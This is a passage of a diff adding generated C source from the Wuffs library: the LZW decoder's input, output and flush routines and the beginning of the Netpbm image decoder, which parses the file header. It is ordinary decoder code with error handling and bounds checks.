++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_lzw__decoder__transform_io( ++ wuffs_lzw__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 1)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint32_t v_i = 0; ++ ++ uint32_t coro_susp_point = self->private_impl.p_transform_io; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ self->private_impl.f_literal_width = 8u; ++ if (self->private_impl.f_pending_literal_width_plus_one > 0u) { ++ self->private_impl.f_literal_width = (self->private_impl.f_pending_literal_width_plus_one - 1u); ++ } ++ self->private_impl.f_clear_code = (((uint32_t)(1u)) << self->private_impl.f_literal_width); ++ self->private_impl.f_end_code = (self->private_impl.f_clear_code + 1u); ++ self->private_impl.f_save_code = self->private_impl.f_end_code; ++ self->private_impl.f_prev_code = self->private_impl.f_end_code; ++ self->private_impl.f_width = (self->private_impl.f_literal_width + 1u); ++ self->private_impl.f_bits = 0u; ++ self->private_impl.f_n_bits = 0u; ++ self->private_impl.f_output_ri = 0u; ++ self->private_impl.f_output_wi = 0u; ++ v_i = 0u; ++ while (v_i < self->private_impl.f_clear_code) { ++ self->private_data.f_lm1s[v_i] = 0u; ++ self->private_data.f_suffixes[v_i][0u] = ((uint8_t)(v_i)); ++ v_i += 1u; ++ } ++ while (true) { ++ wuffs_lzw__decoder__read_from(self, a_src); ++ if (self->private_impl.f_output_wi > 0u) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_lzw__decoder__write_to(self, a_dst); ++ if (status.repr) { ++ goto suspend; ++ } ++ } ++ if (self->private_impl.f_read_from_return_value == 0u) { ++ break; ++ } else if (self->private_impl.f_read_from_return_value == 1u) { ++ continue; ++ } else if (self->private_impl.f_read_from_return_value == 2u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ } else if (self->private_impl.f_read_from_return_value == 3u) { ++ status = wuffs_base__make_status(wuffs_lzw__error__truncated_input); ++ goto exit; ++ } else if (self->private_impl.f_read_from_return_value == 4u) { ++ status = wuffs_base__make_status(wuffs_lzw__error__bad_code); ++ goto exit; ++ } else { ++ status = wuffs_base__make_status(wuffs_lzw__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ } ++ ++ ok: ++ self->private_impl.p_transform_io = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func lzw.decoder.read_from ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_lzw__decoder__read_from( ++ wuffs_lzw__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ uint32_t v_clear_code = 0; ++ uint32_t v_end_code = 0; ++ uint32_t v_save_code = 0; ++ uint32_t v_prev_code = 0; ++ uint32_t v_width = 0; ++ uint32_t v_bits = 0; ++ uint32_t v_n_bits = 0; ++ uint32_t v_output_wi = 0; ++ uint32_t v_code = 0; ++ uint32_t v_c = 0; ++ uint32_t v_o = 0; ++ uint32_t v_steps = 0; ++ uint8_t v_first_byte = 0; ++ uint16_t v_lm1_b = 0; ++ uint16_t v_lm1_a = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ v_clear_code = self->private_impl.f_clear_code; ++ v_end_code = self->private_impl.f_end_code; ++ v_save_code = self->private_impl.f_save_code; ++ v_prev_code = self->private_impl.f_prev_code; ++ v_width = self->private_impl.f_width; ++ v_bits = self->private_impl.f_bits; ++ v_n_bits = self->private_impl.f_n_bits; ++ v_output_wi = self->private_impl.f_output_wi; ++ while (true) { ++ if (v_n_bits < v_width) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) >= 4u) { ++ v_bits |= ((uint32_t)(wuffs_base__peek_u32le__no_bounds_check(iop_a_src) << v_n_bits)); ++ iop_a_src += ((31u - v_n_bits) >> 3u); ++ v_n_bits |= 24u; ++ } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if (a_src && a_src->meta.closed) { ++ self->private_impl.f_read_from_return_value = 3u; ++ } else { ++ self->private_impl.f_read_from_return_value = 2u; ++ } ++ break; ++ } else { ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; ++ if (v_n_bits >= v_width) { ++ } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if (a_src && a_src->meta.closed) { ++ self->private_impl.f_read_from_return_value = 3u; ++ } else { ++ self->private_impl.f_read_from_return_value = 2u; ++ } ++ break; ++ } else { ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; ++ if (v_n_bits < v_width) { ++ self->private_impl.f_read_from_return_value = 5u; ++ break; ++ } ++ } ++ } ++ } ++ v_code = ((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U32(v_width)); ++ v_bits >>= v_width; ++ v_n_bits -= v_width; ++ if (v_code < v_clear_code) { ++ self->private_data.f_output[v_output_wi] = ((uint8_t)(v_code)); ++ v_output_wi = ((v_output_wi + 1u) & 8191u); ++ if (v_save_code <= 4095u) { ++ v_lm1_a = ((uint16_t)(((uint16_t)(self->private_data.f_lm1s[v_prev_code] + 1u)) & 4095u)); ++ self->private_data.f_lm1s[v_save_code] = v_lm1_a; ++ if (((uint16_t)(v_lm1_a % 8u)) != 0u) { ++ self->private_impl.f_prefixes[v_save_code] = self->private_impl.f_prefixes[v_prev_code]; ++ memcpy(self->private_data.f_suffixes[v_save_code],self->private_data.f_suffixes[v_prev_code], sizeof(self->private_data.f_suffixes[v_save_code])); ++ self->private_data.f_suffixes[v_save_code][((uint16_t)(v_lm1_a % 8u))] = ((uint8_t)(v_code)); ++ } else { ++ self->private_impl.f_prefixes[v_save_code] = ((uint16_t)(v_prev_code)); ++ self->private_data.f_suffixes[v_save_code][0u] = ((uint8_t)(v_code)); ++ } ++ v_save_code += 1u; ++ if (v_width < 12u) { ++ v_width += (1u & (v_save_code >> v_width)); ++ } ++ v_prev_code = v_code; ++ } ++ } else if (v_code <= v_end_code) { ++ if (v_code == v_end_code) { ++ self->private_impl.f_read_from_return_value = 0u; ++ break; ++ } ++ v_save_code = v_end_code; ++ v_prev_code = v_end_code; ++ v_width = (self->private_impl.f_literal_width + 1u); ++ } else if (v_code <= v_save_code) { ++ v_c = v_code; ++ if (v_code == v_save_code) { ++ v_c = v_prev_code; ++ } ++ v_o = ((v_output_wi + (((uint32_t)(self->private_data.f_lm1s[v_c])) & 4294967288u)) & 8191u); ++ v_output_wi = ((v_output_wi + 1u + ((uint32_t)(self->private_data.f_lm1s[v_c]))) & 8191u); ++ v_steps = (((uint32_t)(self->private_data.f_lm1s[v_c])) >> 3u); ++ while (true) { ++ memcpy((self->private_data.f_output)+(v_o), (self->private_data.f_suffixes[v_c]), 8u); ++ if (v_steps <= 0u) { ++ break; ++ } ++ v_steps -= 1u; ++ v_o = (((uint32_t)(v_o - 8u)) & 8191u); ++ v_c = ((uint32_t)(self->private_impl.f_prefixes[v_c])); ++ } ++ v_first_byte = self->private_data.f_suffixes[v_c][0u]; ++ if (v_code == v_save_code) { ++ self->private_data.f_output[v_output_wi] = v_first_byte; ++ v_output_wi = ((v_output_wi + 1u) & 8191u); ++ } ++ if (v_save_code <= 4095u) { ++ v_lm1_b = ((uint16_t)(((uint16_t)(self->private_data.f_lm1s[v_prev_code] + 1u)) & 4095u)); ++ self->private_data.f_lm1s[v_save_code] = v_lm1_b; ++ if (((uint16_t)(v_lm1_b % 8u)) != 0u) { ++ self->private_impl.f_prefixes[v_save_code] = self->private_impl.f_prefixes[v_prev_code]; ++ memcpy(self->private_data.f_suffixes[v_save_code],self->private_data.f_suffixes[v_prev_code], sizeof(self->private_data.f_suffixes[v_save_code])); ++ self->private_data.f_suffixes[v_save_code][((uint16_t)(v_lm1_b % 8u))] = v_first_byte; ++ } else { ++ self->private_impl.f_prefixes[v_save_code] = ((uint16_t)(v_prev_code)); ++ self->private_data.f_suffixes[v_save_code][0u] = ((uint8_t)(v_first_byte)); ++ } ++ v_save_code += 1u; ++ if (v_width < 12u) { ++ v_width += (1u & (v_save_code >> v_width)); ++ } ++ v_prev_code = v_code; ++ } ++ } else { ++ self->private_impl.f_read_from_return_value = 4u; ++ break; ++ } ++ if (v_output_wi > 4095u) { ++ self->private_impl.f_read_from_return_value = 1u; ++ break; ++ } ++ } ++ if (self->private_impl.f_read_from_return_value != 2u) { ++ while (v_n_bits >= 8u) { ++ v_n_bits -= 8u; ++ if (iop_a_src > io1_a_src) { ++ iop_a_src--; ++ } else { ++ self->private_impl.f_read_from_return_value = 5u; ++ break; ++ } ++ } ++ } ++ self->private_impl.f_save_code = v_save_code; ++ self->private_impl.f_prev_code = v_prev_code; ++ self->private_impl.f_width = v_width; ++ self->private_impl.f_bits = v_bits; ++ self->private_impl.f_n_bits = v_n_bits; ++ self->private_impl.f_output_wi = v_output_wi; ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func lzw.decoder.write_to ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzw__decoder__write_to( ++ wuffs_lzw__decoder* self, ++ wuffs_base__io_buffer* a_dst) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__slice_u8 v_s = {0}; ++ uint64_t v_n = 0; ++ ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_write_to; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (self->private_impl.f_output_wi > 0u) { ++ if (self->private_impl.f_output_ri > self->private_impl.f_output_wi) { ++ status = wuffs_base__make_status(wuffs_lzw__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_s = wuffs_base__make_slice_u8_ij(self->private_data.f_output, ++ self->private_impl.f_output_ri, ++ self->private_impl.f_output_wi); ++ v_n = wuffs_private_impl__io_writer__copy_from_slice(&iop_a_dst, io2_a_dst,v_s); ++ if (v_n == ((uint64_t)(v_s.len))) { ++ self->private_impl.f_output_ri = 0u; ++ self->private_impl.f_output_wi = 0u; ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } ++ self->private_impl.f_output_ri = (((uint32_t)(self->private_impl.f_output_ri + ((uint32_t)(v_n)))) & 8191u); ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_write_to = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_write_to = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func lzw.decoder.flush ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__slice_u8 ++wuffs_lzw__decoder__flush( ++ wuffs_lzw__decoder* self) { ++ if (!self) { ++ return wuffs_base__empty_slice_u8(); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__empty_slice_u8(); ++ } ++ ++ uint32_t v_ri = 0; ++ uint32_t v_wi = 0; ++ ++ v_ri = self->private_impl.f_output_ri; ++ v_wi = self->private_impl.f_output_wi; ++ self->private_impl.f_output_ri = 0u; ++ self->private_impl.f_output_wi = 0u; ++ if (v_ri <= v_wi) { ++ return wuffs_base__make_slice_u8_ij(self->private_data.f_output, v_ri, v_wi); ++ } ++ return wuffs_base__make_slice_u8(self->private_data.f_output, 0); ++} ++ ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZW) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NETPBM) ++ ++// ---------------- Status Codes Implementations ++ ++const char wuffs_netpbm__error__bad_header[] = "#netpbm: bad header"; ++const char wuffs_netpbm__error__truncated_input[] = "#netpbm: truncated input"; ++const char wuffs_netpbm__error__unsupported_netpbm_file[] = "#netpbm: unsupported Netpbm file"; ++const char wuffs_netpbm__note__internal_note_short_read[] = "@netpbm: internal note: short read"; ++ ++// ---------------- Private Consts ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_netpbm__decoder__do_decode_image_config( ++ wuffs_netpbm__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_netpbm__decoder__do_decode_frame_config( ++ wuffs_netpbm__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_netpbm__decoder__do_decode_frame( ++ wuffs_netpbm__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_netpbm__decoder__swizzle( ++ wuffs_netpbm__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++// ---------------- VTables ++ ++const wuffs_base__image_decoder__func_ptrs ++wuffs_netpbm__decoder__func_ptrs_for__wuffs_base__image_decoder = { ++ (wuffs_base__status(*)(void*, ++ wuffs_base__pixel_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__pixel_blend, ++ wuffs_base__slice_u8, ++ wuffs_base__decode_frame_options*))(&wuffs_netpbm__decoder__decode_frame), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__frame_config*, ++ wuffs_base__io_buffer*))(&wuffs_netpbm__decoder__decode_frame_config), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__image_config*, ++ wuffs_base__io_buffer*))(&wuffs_netpbm__decoder__decode_image_config), ++ (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_netpbm__decoder__frame_dirty_rect), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_netpbm__decoder__get_quirk), ++ (uint32_t(*)(const void*))(&wuffs_netpbm__decoder__num_animation_loops), ++ (uint64_t(*)(const void*))(&wuffs_netpbm__decoder__num_decoded_frame_configs), ++ (uint64_t(*)(const void*))(&wuffs_netpbm__decoder__num_decoded_frames), ++ (wuffs_base__status(*)(void*, ++ uint64_t, ++ uint64_t))(&wuffs_netpbm__decoder__restart_frame), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_netpbm__decoder__set_quirk), ++ (wuffs_base__empty_struct(*)(void*, ++ uint32_t, ++ bool))(&wuffs_netpbm__decoder__set_report_metadata), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__more_information*, ++ wuffs_base__io_buffer*))(&wuffs_netpbm__decoder__tell_me_more), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_netpbm__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_netpbm__decoder__initialize( ++ wuffs_netpbm__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ } ++ } ++ ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = ++ wuffs_base__image_decoder__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = ++ (const void*)(&wuffs_netpbm__decoder__func_ptrs_for__wuffs_base__image_decoder); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_netpbm__decoder* ++wuffs_netpbm__decoder__alloc(void) { ++ wuffs_netpbm__decoder* x = ++ (wuffs_netpbm__decoder*)(calloc(1, sizeof(wuffs_netpbm__decoder))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_netpbm__decoder__initialize( ++ x, sizeof(wuffs_netpbm__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; ++} ++ ++size_t ++sizeof__wuffs_netpbm__decoder(void) { ++ return sizeof(wuffs_netpbm__decoder); ++} ++ ++// ---------------- Function Implementations ++ ++// -------- func netpbm.decoder.get_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_netpbm__decoder__get_quirk( ++ const wuffs_netpbm__decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ return 0u; ++} ++ ++// -------- func netpbm.decoder.set_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_netpbm__decoder__set_quirk( ++ wuffs_netpbm__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} ++ ++// -------- func netpbm.decoder.decode_image_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_netpbm__decoder__decode_image_config( ++ wuffs_netpbm__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 1)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_image_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_netpbm__decoder__do_decode_image_config(self, a_dst, a_src); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_image_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func netpbm.decoder.do_decode_image_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_netpbm__decoder__do_decode_image_config( ++ wuffs_netpbm__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint32_t v_n = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_call_sequence != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ if (v_c8 != 80u) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ if ((v_c8 < 49u) || (55u < v_c8)) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); ++ goto exit; ++ } else if (v_c8 == 53u) { ++ self->private_impl.f_pixfmt = 536870920u; ++ } else if (v_c8 == 54u) { ++ self->private_impl.f_pixfmt = 2684356744u; ++ } else { ++ status = wuffs_base__make_status(wuffs_netpbm__error__unsupported_netpbm_file); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_2 = *iop_a_src++; ++ v_c8 = t_2; ++ } ++ if (v_c8 != 10u) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); ++ goto exit; ++ } ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_3 = *iop_a_src++; ++ v_c8 = t_3; ++ } ++ if ((v_c8 == 32u) || (v_c8 == 9u)) { ++ continue; ++ } else if (v_c8 == 35u) { ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_4 = *iop_a_src++; ++ v_c8 = t_4; ++ } ++ if (v_c8 == 10u) { ++ break; ++ } ++ } ++ continue; ++ } else if ((v_c8 < 48u) || (57u < v_c8)) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); ++ goto exit; ++ } ++ self->private_impl.f_width = ((uint32_t)(((uint8_t)(v_c8 - 48u)))); ++ break; ++ } ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_5 = *iop_a_src++; ++ v_c8 = t_5; ++ } ++ if ((v_c8 == 32u) || (v_c8 == 9u)) { ++ break; ++ } else if ((v_c8 < 48u) || (57u < v_c8)) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); ++ goto exit; ++ } ++ v_n = ((10u * self->private_impl.f_width) + ((uint32_t)(((uint8_t)(v_c8 - 48u))))); ++ if (v_n > 16777215u) { ++ status = wuffs_base__make_status(wuffs_netpbm__error__unsupported_netpbm_file); ++ goto exit; ++ } ++ self->private_impl.f_width = v_n; ++ } ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_6 = *iop_a_src++; ++ v_c8 = t_6; ++ } ++ if ((v_c8 == 32u) || (v_c8 == 9u)) { ++ continue; ++ } else if (v_c8 == 35u) { ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_7 = *iop_a_src++; ++ v_c8 = t_7; ++ } ++ if (v_c8 == 10u) { ++ break; ++ } ++ } 